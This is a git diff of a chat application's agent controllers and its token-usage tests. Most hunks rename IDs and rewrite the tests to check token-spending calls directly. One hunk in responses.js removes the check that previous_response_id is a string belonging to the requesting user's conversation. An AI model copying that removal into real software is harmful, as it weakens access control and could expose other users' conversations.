userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
- actionsEnabled: primaryConfig.actionsEnabled,
});
},
toolEndCallback,
@@ -466,11 +450,11 @@ const OpenAIChatCompletionController = async (req, res) => {
agents: [primaryConfig],
messages: formattedMessages,
indexTokenCountMap,
- runId: responseId,
+ runId: requestId,
signal: abortController.signal,
customHandlers: handlers,
requestBody: {
- messageId: responseId,
+ messageId: requestId,
conversationId,
},
user: { id: userId },
@@ -487,10 +471,6 @@ const OpenAIChatCompletionController = async (req, res) => {
thread_id: conversationId,
user_id: userId,
user: createSafeUser(req.user),
- requestBody: {
- messageId: responseId,
- conversationId,
- },
...(userMCPAuthMap != null && { userMCPAuthMap }),
},
signal: abortController.signal,
@@ -510,18 +490,12 @@ const OpenAIChatCompletionController = async (req, res) => {
const balanceConfig = getBalanceConfig(appConfig);
const transactionsConfig = getTransactionsConfig(appConfig);
recordCollectedUsage(
- {
- spendTokens,
- spendStructuredTokens,
- pricing: { getMultiplier, getCacheMultiplier },
- bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
- },
+ { spendTokens, spendStructuredTokens },
{
user: userId,
conversationId,
collectedUsage,
context: 'message',
- messageId: responseId,
balance: balanceConfig,
transactions: transactionsConfig,
model: primaryConfig.model || agent.model_parameters?.model,
@@ -535,7 +509,7 @@ const OpenAIChatCompletionController = async (req, res) => {
if (isStreaming) {
sendFinalChunk(handlerConfig);
res.end();
- logger.debug(`[OpenAI API] Response ${responseId} completed in ${duration}ms (streaming)`);
+ logger.debug(`[OpenAI API] Request ${requestId} completed in ${duration}ms (streaming)`);
// Wait for artifact processing after response ends (non-blocking)
if (artifactPromises.length > 0) {
@@ -574,9 +548,7 @@ const OpenAIChatCompletionController = async (req, res) => {
usage,
);
res.json(response);
- logger.debug(
- `[OpenAI API] Response ${responseId} completed in ${duration}ms (non-streaming)`,
- );
+ logger.debug(`[OpenAI API] Request ${requestId} completed in ${duration}ms (non-streaming)`);
}
} catch (error) {
const errorMessage = error instanceof Error ? error.message : 'An error occurred';
diff --git a/api/server/controllers/agents/recordCollectedUsage.spec.js b/api/server/controllers/agents/recordCollectedUsage.spec.js
index 21720023ca..6904f2ed39 100644
--- a/api/server/controllers/agents/recordCollectedUsage.spec.js
+++ b/api/server/controllers/agents/recordCollectedUsage.spec.js
@@ -2,37 +2,23 @@
* Tests for AgentClient.recordCollectedUsage
*
* This is a critical function that handles token spending for agent LLM calls.
- * The client now delegates to the TS recordCollectedUsage from @librechat/api,
- * passing pricing and bulkWriteOps deps.
+ * It must correctly handle:
+ * - Sequential execution (single agent with tool calls)
+ * - Parallel execution (multiple agents with independent inputs)
+ * - Cache token handling (OpenAI and Anthropic formats)
*/
const { EModelEndpoint } = require('librechat-data-provider');
+// Mock dependencies before requiring the module
const mockSpendTokens = jest.fn().mockResolvedValue();
const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
-const mockGetMultiplier = jest.fn().mockReturnValue(1);
-const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
-const mockUpdateBalance = jest.fn().mockResolvedValue({});
-const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
-const mockRecordCollectedUsage = jest
- .fn()
- .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
jest.mock('~/models/spendTokens', () => ({
spendTokens: (...args) => mockSpendTokens(...args),
spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
}));
-jest.mock('~/models/tx', () => ({
- getMultiplier: mockGetMultiplier,
- getCacheMultiplier: mockGetCacheMultiplier,
-}));
-
-jest.mock('~/models', () => ({
- updateBalance: mockUpdateBalance,
- bulkInsertTransactions: mockBulkInsertTransactions,
-}));
-
jest.mock('~/config', () => ({
logger: {
debug: jest.fn(),
@@ -53,14 +39,6 @@ jest.mock('@librechat/agents', () => ({
}),
}));
-jest.mock('@librechat/api', () => {
- const actual = jest.requireActual('@librechat/api');
- return {
- ...actual,
- recordCollectedUsage: (...args) => mockRecordCollectedUsage(...args),
- };
-});
-
const AgentClient = require('./client');
describe('AgentClient - recordCollectedUsage', () => {
@@ -96,7 +74,30 @@ describe('AgentClient - recordCollectedUsage', () => {
});
describe('basic functionality', () => {
- it('should delegate to recordCollectedUsage with full deps', async () => {
+ it('should return early if collectedUsage is empty', async () => {
+ await client.recordCollectedUsage({
+ collectedUsage: [],
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendTokens).not.toHaveBeenCalled();
+ expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+ expect(client.usage).toBeUndefined();
+ });
+
+ it('should return early if collectedUsage is null', async () => {
+ await client.recordCollectedUsage({
+ collectedUsage: null,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendTokens).not.toHaveBeenCalled();
+ expect(client.usage).toBeUndefined();
+ });
+
+ it('should handle single usage entry correctly', async () => {
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await client.recordCollectedUsage({
@@ -105,57 +106,25 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
- const [deps, params] = mockRecordCollectedUsage.mock.calls[0];
-
- expect(deps).toHaveProperty('spendTokens');
- expect(deps).toHaveProperty('spendStructuredTokens');
- expect(deps).toHaveProperty('pricing');
- expect(deps.pricing).toHaveProperty('getMultiplier');
- expect(deps.pricing).toHaveProperty('getCacheMultiplier');
- expect(deps).toHaveProperty('bulkWriteOps');
- expect(deps.bulkWriteOps).toHaveProperty('insertMany');
- expect(deps.bulkWriteOps).toHaveProperty('updateBalance');
-
- expect(params).toEqual(
+ expect(mockSpendTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendTokens).toHaveBeenCalledWith(
expect.objectContaining({
- user: 'user-123',
conversationId: 'convo-123',
- collectedUsage,
- context: 'message',
- balance: { enabled: true },
- transactions: { enabled: true },
+ user: 'user-123',
+ model: 'gpt-4',
}),
+ { promptTokens: 100, completionTokens: 50 },
);
+ expect(client.usage.input_tokens).toBe(100);
+ expect(client.usage.output_tokens).toBe(50);
});
- it('should not set this.usage if collectedUsage is empty (returns undefined)', async () => {
- mockRecordCollectedUsage.mockResolvedValue(undefined);
-
- await client.recordCollectedUsage({
- collectedUsage: [],
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(client.usage).toBeUndefined();
- });
-
- it('should not set this.usage if collectedUsage is null (returns undefined)', async () => {
- mockRecordCollectedUsage.mockResolvedValue(undefined);
-
- await client.recordCollectedUsage({
- collectedUsage: null,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(client.usage).toBeUndefined();
- });
-
- it('should set this.usage from recordCollectedUsage result', async () => {
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 75 });
- const collectedUsage = [{ input_tokens: 200, output_tokens: 75, model: 'gpt-4' }];
+ it('should skip null entries in collectedUsage', async () => {
+ const collectedUsage = [
+ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+ null,
+ { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
+ ];
await client.recordCollectedUsage({
collectedUsage,
@@ -163,62 +132,82 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(client.usage).toEqual({ input_tokens: 200, output_tokens: 75 });
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
});
});
describe('sequential execution (single agent with tool calls)', () => {
- it('should pass all usage entries to recordCollectedUsage', async () => {
+ it('should calculate tokens correctly for sequential tool calls', async () => {
+ // Sequential flow: output of call N becomes part of input for call N+1
+ // Call 1: input=100, output=50
+ // Call 2: input=150 (100+50), output=30
+ // Call 3: input=180 (150+30), output=20
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 150, output_tokens: 30, model: 'gpt-4' },
{ input_tokens: 180, output_tokens: 20, model: 'gpt-4' },
];
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 100 });
-
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
- const [, params] = mockRecordCollectedUsage.mock.calls[0];
- expect(params.collectedUsage).toHaveLength(3);
+ expect(mockSpendTokens).toHaveBeenCalledTimes(3);
+ // Total output should be sum of all output_tokens: 50 + 30 + 20 = 100
expect(client.usage.output_tokens).toBe(100);
- expect(client.usage.input_tokens).toBe(100);
+ expect(client.usage.input_tokens).toBe(100); // First entry's input
});
});
describe('parallel execution (multiple agents)', () => {
- it('should pass parallel agent usage to recordCollectedUsage', async () => {
+ it('should handle parallel agents with independent input tokens', async () => {
+ // Parallel agents have INDEPENDENT input tokens (not cumulative)
+ // Agent A: input=100, output=50
+ // Agent B: input=80, output=40 (different context, not 100+50)
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'gpt-4' },
];
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 90 });
-
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
- expect(client.usage.output_tokens).toBe(90);
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+ // Expected total output: 50 + 40 = 90
+ // output_tokens must be positive and should reflect total output
expect(client.usage.output_tokens).toBeGreaterThan(0);
});
- /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */
- it('should NOT produce negative output_tokens', async () => {
+ it('should NOT produce negative output_tokens for parallel execution', async () => {
+ // Critical bug scenario: parallel agents where second agent has LOWER input tokens
const collectedUsage = [
{ input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
{ input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
];
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ // output_tokens MUST be positive for proper token tracking
+ expect(client.usage.output_tokens).toBeGreaterThan(0);
+ // Correct value should be 100 + 30 = 130
+ });
+
+ it('should calculate correct total output for parallel agents', async () => {
+ // Three parallel agents with independent contexts
+ const collectedUsage = [
+ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+ { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' },
+ { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
+ ];
await client.recordCollectedUsage({
collectedUsage,
@@ -226,44 +215,111 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
+ expect(mockSpendTokens).toHaveBeenCalledTimes(3);
+ // Total output should be 50 + 60 + 40 = 150
+ expect(client.usage.output_tokens).toBe(150);
+ });
+
+ it('should handle worst-case parallel scenario without negative tokens', async () => {
+ // Extreme case: first agent has very high input, subsequent have low
+ const collectedUsage = [
+ { input_tokens: 1000, output_tokens: 500, model: 'gpt-4' },
+ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+ { input_tokens: 50, output_tokens: 25, model: 'gpt-4' },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ // Must be positive, should be 500 + 50 + 25 = 575
expect(client.usage.output_tokens).toBeGreaterThan(0);
- expect(client.usage.output_tokens).toBe(130);
+ expect(client.usage.output_tokens).toBe(575);
});
});
describe('real-world scenarios', () => {
- it('should correctly handle sequential tool calls with growing context', async () => {
- const collectedUsage = [
- { input_tokens: 31596, output_tokens: 151, model: 'claude-opus-4-5-20251101' },
- { input_tokens: 35368, output_tokens: 150, model: 'claude-opus-4-5-20251101' },
- { input_tokens: 58362, output_tokens: 295, model: 'claude-opus-4-5-20251101' },
- { input_tokens: 112604, output_tokens: 193, model: 'claude-opus-4-5-20251101' },
- { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus-4-5-20251101' },
- ];
-
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 3006 });
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(client.usage.input_tokens).toBe(31596);
- expect(client.usage.output_tokens).toBe(3006);
- });
-
- it('should correctly handle cache tokens', async () => {
+ it('should correctly sum output tokens for sequential tool calls with growing context', async () => {
+ // Real production data: Claude Opus with multiple tool calls
+ // Context grows as tool results are added, but output_tokens should only count model generations
const collectedUsage = [
{
- input_tokens: 788,
- output_tokens: 163,
- input_token_details: { cache_read: 0, cache_creation: 30808 },
+ input_tokens: 31596,
+ output_tokens: 151,
+ total_tokens: 31747,
+ input_token_details: { cache_read: 0, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 35368,
+ output_tokens: 150,
+ total_tokens: 35518,
+ input_token_details: { cache_read: 0, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 58362,
+ output_tokens: 295,
+ total_tokens: 58657,
+ input_token_details: { cache_read: 0, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 112604,
+ output_tokens: 193,
+ total_tokens: 112797,
+ input_token_details: { cache_read: 0, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 257440,
+ output_tokens: 2217,
+ total_tokens: 259657,
+ input_token_details: { cache_read: 0, cache_creation: 0 },
model: 'claude-opus-4-5-20251101',
},
];
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 163 });
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ // input_tokens should be first entry's input (initial context)
+ expect(client.usage.input_tokens).toBe(31596);
+
+ // output_tokens should be sum of all model outputs: 151 + 150 + 295 + 193 + 2217 = 3006
+ // NOT the inflated value from incremental calculation (338,559)
+ expect(client.usage.output_tokens).toBe(3006);
+
+ // Verify spendTokens was called for each entry with correct values
+ expect(mockSpendTokens).toHaveBeenCalledTimes(5);
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 1,
+ expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
+ { promptTokens: 31596, completionTokens: 151 },
+ );
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 5,
+ expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
+ { promptTokens: 257440, completionTokens: 2217 },
+ );
+ });
+
+ it('should handle single followup message correctly', async () => {
+ // Real production data: followup to the above conversation
+ const collectedUsage = [
+ {
+ input_tokens: 263406,
+ output_tokens: 257,
+ total_tokens: 263663,
+ input_token_details: { cache_read: 0, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ ];
await client.recordCollectedUsage({
collectedUsage,
@@ -271,14 +327,300 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
+ expect(client.usage.input_tokens).toBe(263406);
+ expect(client.usage.output_tokens).toBe(257);
+
+ expect(mockSpendTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
+ { promptTokens: 263406, completionTokens: 257 },
+ );
+ });
+
+ it('should ensure output_tokens > 0 check passes for BaseClient.sendMessage', async () => {
+ // This verifies the fix for the duplicate token spending bug
+ // BaseClient.sendMessage checks: if (usage != null && Number(usage[this.outputTokensKey]) > 0)
+ const collectedUsage = [
+ {
+ input_tokens: 31596,
+ output_tokens: 151,
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 35368,
+ output_tokens: 150,
+ model: 'claude-opus-4-5-20251101',
+ },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ const usage = client.getStreamUsage();
+
+ // The check that was failing before the fix
+ expect(usage).not.toBeNull();
+ expect(Number(usage.output_tokens)).toBeGreaterThan(0);
+
+ // Verify correct value
+ expect(usage.output_tokens).toBe(301); // 151 + 150
+ });
+
+ it('should correctly handle cache tokens with multiple tool calls', async () => {
+ // Real production data: Claude Opus with cache tokens (prompt caching)
+ // First entry has cache_creation, subsequent entries have cache_read
+ const collectedUsage = [
+ {
+ input_tokens: 788,
+ output_tokens: 163,
+ total_tokens: 951,
+ input_token_details: { cache_read: 0, cache_creation: 30808 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 3802,
+ output_tokens: 149,
+ total_tokens: 3951,
+ input_token_details: { cache_read: 30808, cache_creation: 768 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 26808,
+ output_tokens: 225,
+ total_tokens: 27033,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 80912,
+ output_tokens: 204,
+ total_tokens: 81116,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 136454,
+ output_tokens: 206,
+ total_tokens: 136660,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 146316,
+ output_tokens: 224,
+ total_tokens: 146540,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 150402,
+ output_tokens: 1248,
+ total_tokens: 151650,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 156268,
+ output_tokens: 139,
+ total_tokens: 156407,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ {
+ input_tokens: 167126,
+ output_tokens: 2961,
+ total_tokens: 170087,
+ input_token_details: { cache_read: 31576, cache_creation: 0 },
+ model: 'claude-opus-4-5-20251101',
+ },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ // input_tokens = first entry's input + cache_creation + cache_read
+ // = 788 + 30808 + 0 = 31596
expect(client.usage.input_tokens).toBe(31596);
- expect(client.usage.output_tokens).toBe(163);
+
+ // output_tokens = sum of all output_tokens
+ // = 163 + 149 + 225 + 204 + 206 + 224 + 1248 + 139 + 2961 = 5519
+ expect(client.usage.output_tokens).toBe(5519);
+
+ // First 2 entries have cache tokens, should use spendStructuredTokens
+ // Remaining 7 entries have cache_read but no cache_creation, still structured
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(9);
+ expect(mockSpendTokens).toHaveBeenCalledTimes(0);
+
+ // Verify first entry uses structured tokens with cache_creation
+ expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
+ 1,
+ expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
+ {
+ promptTokens: { input: 788, write: 30808, read: 0 },
+ completionTokens: 163,
+ },
+ );
+
+ // Verify second entry uses structured tokens with both cache_creation and cache_read
+ expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
+ 2,
+ expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
+ {
+ promptTokens: { input: 3802, write: 768, read: 30808 },
+ completionTokens: 149,
+ },
+ );
+ });
+ });
+
+ describe('cache token handling', () => {
+ it('should handle OpenAI format cache tokens (input_token_details)', async () => {
+ const collectedUsage = [
+ {
+ input_tokens: 100,
+ output_tokens: 50,
+ model: 'gpt-4',
+ input_token_details: {
+ cache_creation: 20,
+ cache_read: 10,
+ },
+ },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'gpt-4' }),
+ {
+ promptTokens: {
+ input: 100,
+ write: 20,
+ read: 10,
+ },
+ completionTokens: 50,
+ },
+ );
+ });
+
+ it('should handle Anthropic format cache tokens (cache_*_input_tokens)', async () => {
+ const collectedUsage = [
+ {
+ input_tokens: 100,
+ output_tokens: 50,
+ model: 'claude-3',
+ cache_creation_input_tokens: 25,
+ cache_read_input_tokens: 15,
+ },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'claude-3' }),
+ {
+ promptTokens: {
+ input: 100,
+ write: 25,
+ read: 15,
+ },
+ completionTokens: 50,
+ },
+ );
+ });
+
+ it('should use spendTokens for entries without cache tokens', async () => {
+ const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+ });
+
+ it('should handle mixed cache and non-cache entries', async () => {
+ const collectedUsage = [
+ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+ {
+ input_tokens: 150,
+ output_tokens: 30,
+ model: 'gpt-4',
+ input_token_details: { cache_creation: 10, cache_read: 5 },
+ },
+ { input_tokens: 200, output_tokens: 20, model: 'gpt-4' },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+ });
+
+ it('should include cache tokens in total input calculation', async () => {
+ const collectedUsage = [
+ {
+ input_tokens: 100,
+ output_tokens: 50,
+ model: 'gpt-4',
+ input_token_details: {
+ cache_creation: 20,
+ cache_read: 10,
+ },
+ },
+ ];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ // Total input should include cache tokens: 100 + 20 + 10 = 130
+ expect(client.usage.input_tokens).toBe(130);
});
});
describe('model fallback', () => {
- it('should use param model when available', async () => {
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
+ it('should use usage.model when available', async () => {
+ const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }];
+
+ await client.recordCollectedUsage({
+ model: 'fallback-model',
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'gpt-4-turbo' }),
+ expect.any(Object),
+ );
+ });
+
+ it('should fallback to param model when usage.model is missing', async () => {
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -288,13 +630,14 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- const [, params] = mockRecordCollectedUsage.mock.calls[0];
- expect(params.model).toBe('param-model');
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'param-model' }),
+ expect.any(Object),
+ );
});
it('should fallback to client.model when param model is missing', async () => {
client.model = 'client-model';
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -303,12 +646,13 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- const [, params] = mockRecordCollectedUsage.mock.calls[0];
- expect(params.model).toBe('client-model');
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'client-model' }),
+ expect.any(Object),
+ );
});
it('should fallback to agent model_parameters.model as last resort', async () => {
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -317,14 +661,15 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- const [, params] = mockRecordCollectedUsage.mock.calls[0];
- expect(params.model).toBe('gpt-4');
+ expect(mockSpendTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'gpt-4' }),
+ expect.any(Object),
+ );
});
});
describe('getStreamUsage integration', () => {
it('should return the usage object set by recordCollectedUsage', async () => {
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await client.recordCollectedUsage({
@@ -334,7 +679,10 @@ describe('AgentClient - recordCollectedUsage', () => {
});
const usage = client.getStreamUsage();
- expect(usage).toEqual({ input_tokens: 100, output_tokens: 50 });
+ expect(usage).toEqual({
+ input_tokens: 100,
+ output_tokens: 50,
+ });
});
it('should return undefined before recordCollectedUsage is called', () => {
@@ -342,9 +690,9 @@ describe('AgentClient - recordCollectedUsage', () => {
expect(usage).toBeUndefined();
});
- /** Verifies usage passes the check in BaseClient.sendMessage: if (usage != null && Number(usage[this.outputTokensKey]) > 0) */
it('should have output_tokens > 0 for BaseClient.sendMessage check', async () => {
- mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
+ // This test verifies the usage will pass the check in BaseClient.sendMessage:
+ // if (usage != null && Number(usage[this.outputTokensKey]) > 0)
const collectedUsage = [
{ input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
{ input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
diff --git a/api/server/controllers/agents/request.js b/api/server/controllers/agents/request.js
index dea5400036..79387b6e89 100644
--- a/api/server/controllers/agents/request.js
+++ b/api/server/controllers/agents/request.js
@@ -3,9 +3,9 @@ const { Constants, ViolationTypes } = require('librechat-data-provider');
const {
sendEvent,
getViolationInfo,
- buildMessageFiles,
GenerationJobManager,
decrementPendingRequest,
+ sanitizeFileForTransmit,
sanitizeMessageForTransmit,
checkAndIncrementPendingRequest,
} = require('@librechat/api');
@@ -252,10 +252,13 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
conversation.title =
conversation && !conversation.title ? null : conversation?.title || 'New Chat';
- if (req.body.files && Array.isArray(client.options.attachments)) {
- const files = buildMessageFiles(req.body.files, client.options.attachments);
- if (files.length > 0) {
- userMessage.files = files;
+ if (req.body.files && client.options?.attachments) {
+ userMessage.files = [];
+ const messageFiles = new Set(req.body.files.map((file) => file.file_id));
+ for (const attachment of client.options.attachments) {
+ if (messageFiles.has(attachment.file_id)) {
+ userMessage.files.push(sanitizeFileForTransmit(attachment));
+ }
}
delete userMessage.image_urls;
}
@@ -636,10 +639,14 @@ const _LegacyAgentController = async (req, res, next, initializeClient, addTitle
conversation.title =
conversation && !conversation.title ? null : conversation?.title || 'New Chat';
- if (req.body.files && Array.isArray(client.options.attachments)) {
- const files = buildMessageFiles(req.body.files, client.options.attachments);
- if (files.length > 0) {
- userMessage.files = files;
+ // Process files if needed (sanitize to remove large text fields before transmission)
+ if (req.body.files && client.options?.attachments) {
+ userMessage.files = [];
+ const messageFiles = new Set(req.body.files.map((file) => file.file_id));
+ for (const attachment of client.options.attachments) {
+ if (messageFiles.has(attachment.file_id)) {
+ userMessage.files.push(sanitizeFileForTransmit(attachment));
+ }
}
delete userMessage.image_urls;
}
diff --git a/api/server/controllers/agents/responses.js b/api/server/controllers/agents/responses.js
index 30ccacdba8..afdb96be9f 100644
--- a/api/server/controllers/agents/responses.js
+++ b/api/server/controllers/agents/responses.js
@@ -38,7 +38,6 @@ const { loadAgentTools, loadToolsForExecution } = require('~/server/services/Too
const { findAccessibleResources } = require('~/server/services/PermissionService');
const { getConvoFiles, saveConvo, getConvo } = require('~/models/Conversation');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
-const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const { getAgent, getAgents } = require('~/models/Agent');
const db = require('~/models');
@@ -292,6 +291,10 @@ const createResponse = async (req, res) => {
// Generate IDs
const responseId = generateResponseId();
+ const conversationId = request.previous_response_id ?? uuidv4();
+ const parentMessageId = null;
+
+ // Create response context
const context = createResponseContext(request, responseId);
logger.debug(
@@ -310,23 +313,6 @@ const createResponse = async (req, res) => {
});
try {
- if (request.previous_response_id != null) {
- if (typeof request.previous_response_id !== 'string') {
- return sendResponsesErrorResponse(
- res,
- 400,
- 'previous_response_id must be a string',
- 'invalid_request',
- );
- }
- if (!(await getConvo(req.user?.id, request.previous_response_id))) {
- return sendResponsesErrorResponse(res, 404, 'Conversation not found', 'not_found');
- }
- }
-
- const conversationId = request.previous_response_id ?? uuidv4();
- const parentMessageId = null;
-
// Build allowed providers set
const allowedProviders = new Set(
appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders,
@@ -442,7 +428,6 @@ const createResponse = async (req, res) => {
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
- actionsEnabled: primaryConfig.actionsEnabled,
});
},
toolEndCallback,
@@ -501,10 +486,6 @@ const createResponse = async (req, res) => {
thread_id: conversationId,
user_id: userId,
user: createSafeUser(req.user),
- requestBody: {
- messageId: responseId,
- conversationId,
- },
...(userMCPAuthMap != null && { userMCPAuthMap }),
},
signal: abortController.signal,
